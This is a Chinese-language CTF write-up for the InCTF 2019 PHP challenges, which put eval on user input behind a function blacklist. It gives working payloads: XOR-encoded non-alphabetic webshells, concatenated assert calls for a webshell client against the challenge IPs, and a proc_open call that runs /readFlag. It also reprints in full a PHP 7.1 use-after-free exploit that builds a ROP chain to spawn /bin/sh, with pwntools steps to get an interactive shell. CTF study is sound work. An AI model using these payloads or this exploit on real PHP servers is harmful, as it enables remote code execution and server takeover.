Inctf题解 | rce+disable_functions bypass
php1.0
File doesn't exist
<?php
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
unset($blacklist);
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
代码分析:可控有两个参数$thisfille、$input
$input传入参数会被eval执行,但是之前需要经过get_defined_functions()['internal']
,过滤所有php内置函数
思路一:无字母webshell
?input=$b=${%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff}[a];eval($b);&thisfile=/var
思路二:字符串拼接
$b=p.h.p.i.n.f.o;$b();
函数禁用
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir
os命令执行
proc_open
函数未被禁用
函数参考链接:https://www.php.net/manual/zh/function.proc-open.php
$process中存储返回proc_open函数,stream_get_contents输出内容
/?input=$descr=array(0=>array('p'.'ipe','r'),1=>array('p'.'ipe','w'),2=>array('p'.'ipe','w'));$pxpes=array();$process=eval('return proc'.$thisfille[8].'open("/readFlag",$descr,$pxpes);');eval('echo(s'.'t'.'r'.'e'.'a'.'m'.$thisfille[8].'g'.'e'.'t'.$thisfille[8].'c'.'o'.'n'.'t'.'e'.'n'.'t'.'s($pxpes[1]));');&thisfile=/lib/x86_64-linux-gnu
php1.5、php2.5
//php2.5
File doesn't exist
<?php
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if(preg_match("/$blacklist/i", $input)){
echo "Do you really you need that?" . "<br>";
return true;
}
unset($blacklist);
if(strlen($input)>100){ #That is random no. I took ;)
echo "This is getting really large input..." . "<br>";
return true;
}
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
//php1.5
File doesn't exist
<?php
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
if(preg_match("/$blacklist/i", $input)){
echo "Do you really you need that?" . "<br>";
return true;
}
unset($blacklist);
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
新增过滤
exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'
payload1
?input=$b=%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff;$a=$$b;$c=c.u.r.r.e.n.t;$f=$c($a);$d=a.s.s.e.r.t;$d($f);&thisfile=/var
不知道为啥,这里蚁剑连接只能用end函数取post数组
payload:http://3.16.218.96/?input=$b=%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff;$a=$$b;$c=e.n.d;$f=$c($a);$d=a.s.s.e.r.t;$d($f);&thisfile=/var
payload:http://18.223.159.46//?input=$b=%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff;$a=$$b;$c=e.n.d;$f=$c($a);$d=a.s.s.e.r.t;$d($f);&thisfile=/var
payload3(proc_open文件写到tmp)
php2.0
源码和2.5相同,不过php环境为7.1
参考链接:https://ctftime.org/writeup/16665
本地测试
EXP
<?php
/*
This exploit works only on a specific php7.1 build for Ubuntu 16.04.
(php 7.1.32-1+ubuntu16.04.1+deb.sury.org+1 + apache2)
1. Install php7.1:
sudo add-apt-repository ppa:ondrej/php
sudo apt install php7.1 libapache2-mod-php7.1
2. Save this file as /var/www/html/pwn.php.
3. Get an interactive shell with pwntools:
from pwn import *
s = remote('localhost', 80)
p = 'GET /pwn.php HTTP/1.1\r\n'
p += 'Host: localhost\r\n\r\n'
s.send(p)
s.interactive()
*/
define('SOCK_FD', 11); # client <-> server fd
define('POP_RDI', 0xd14eb);
define('POP_RSI', 0xd157f);
define('POP_RDX', 0xd5033);
define('POP_RCX', 0xff87a);
define('SYSCALL_PLT', 0xcf800);
define('BIN_SH', 0x33bb9e);
define('STACK_PIVOT', 0xd1577); # push rdi ; ... ; pop rsp ; pop r13 ; pop r14 ; ret
define('ZEND_OBJECTS_DESTROY_OBJECT', 0x2952d0);
class MySplFixedArray extends SplFixedArray { }
class Z implements JsonSerializable {
public function rebase($addr) {
global $pie;
return $pie + $addr;
}
public function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
public function str2ptr(&$str, $p, $s=8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
public function ptr2str($ptr, $m=8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
public function rop($addr) {
global $ctr;
# rop starts at abc + 0x1010
$this->write($this->abc, 0x1010 + $ctr * 8, $addr);
$ctr += 1;
}
public function syscall($syscall_no, $rdi=0, $rsi=0, $rdx=0) {
$this->rop($this->rebase(POP_RDI));
$this->rop($syscall_no);
$this->rop($this->rebase(POP_RSI));
$this->rop($rdi);
$this->rop($this->rebase(POP_RDX));
$this->rop($rsi);
$this->rop($this->rebase(POP_RCX));
$this->rop($rdx);
$this->rop($this->rebase(SYSCALL_PLT));
}
public function jsonSerialize() {
global $y, $pie, $ctr;
$contiguous = [];
for($i=0; $i < 10; $i++)
$contiguous[] = new DateInterval('PT1S');
$room = [];
for($i=0; $i < 10;$i++)
$room[] = new Z();
$_protector = $this->ptr2str(0, 78);
$this->abc = $this->ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->d = 0x2000; # $this->abc is now of size 0x2000
$spl1 = new MySplFixedArray();
$spl2 = new MySplFixedArray();
# some leaks
$class_entry = $this->str2ptr($this->abc, 0x120);
$handlers = $this->str2ptr($this->abc, 0x128);
$php_heap = $this->str2ptr($this->abc, 0x1a8);
$abc_addr = $php_heap - 0x218;
# pie leak
$fake_obj = $abc_addr + 0x60;
$this->write($this->abc, 0x60, 2);
$this->write($this->abc, 0x68, $handlers - 0x10);
$this->write($this->abc, 0x120, $fake_obj);
$pie = $this->str2ptr(get_class($spl1), 8) - ZEND_OBJECTS_DESTROY_OBJECT;
# write rop
$this->syscall(33, SOCK_FD, 1); # dup2
$this->syscall(33, SOCK_FD, 0); # dup2
$this->syscall(59, $this->rebase(BIN_SH)); # execve
$this->syscall(60, 0); # exit
# overwrite next chunk forward pointer
$this->write($this->abc, 0x1a8, $class_entry + 0x20);
# allocate some strings
$x = str_repeat("X", 69);
$y = str_repeat("Y", 69);
$z = str_repeat("Z", 69);
# $z is now at $class_entry + 0x20
# restore a pointer to some writable addr
$this->write($z, 0, $abc_addr);
# overwrite a function destructor
$this->write($z, 0x18, $abc_addr + 0x1000); # -> rdi
$this->write($z, 0x38, $this->rebase(STACK_PIVOT)); # -> rip
exit();
}
}
if(php_sapi_name() != 'apache2handler' ||
phpversion() != '7.1.32-1+ubuntu16.04.1+deb.sury.org+1') {
die('Wrong setup.');
}
global $y;
$y = [new Z()];
json_encode([0 => &$y]);
上传该php文件到服务器
本地执行
from pwn import * s = remote('localhost', 80) p = 'GET /pwn.php HTTP/1.1\r\n' p += 'Host: localhost\r\n\r\n' s.send(p) s.interactive()
执行环境必须是
php 7.1.32-1+ubuntu16.04.1+deb.sury.org+1 + apache2
py执行结果
参考链接
https://fireshellsecurity.team/inctf2019-php1-php15-php25/
https://ctftime.org/writeup/16595
特性总结
- php 对于ascii 0x7f默认为字符串
- eval、echo为语言结构不是函数
- eval的特性:只能执行一次代码
- rce参考一些常见的webshell思路
- _()为gettext()的别名
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!